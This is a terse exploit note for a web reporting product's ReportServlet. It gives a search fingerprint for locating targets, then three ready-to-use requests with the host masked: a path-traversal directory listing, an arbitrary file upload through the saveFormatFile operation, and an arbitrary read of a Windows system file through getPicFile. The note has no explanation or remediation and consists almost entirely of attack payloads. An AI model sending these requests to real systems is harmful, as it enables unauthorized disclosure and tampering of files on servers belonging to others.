body="changeAccount('8000')"
http://xxxxxx/ReportServlet?operation=getFileList&path=../../../
POST /ReportServlet?operation=saveFormatFile&fileName=demo.css&language= HTTP/1.1
Host: xxxxxx
Connection: lose
Content-Type: application/x-www-form-urlencoded
Content-Length: 2
demo
http://xxxxx/ReportServlet?operation=getPicFile&fileName=/DISKC/Windows/Win.ini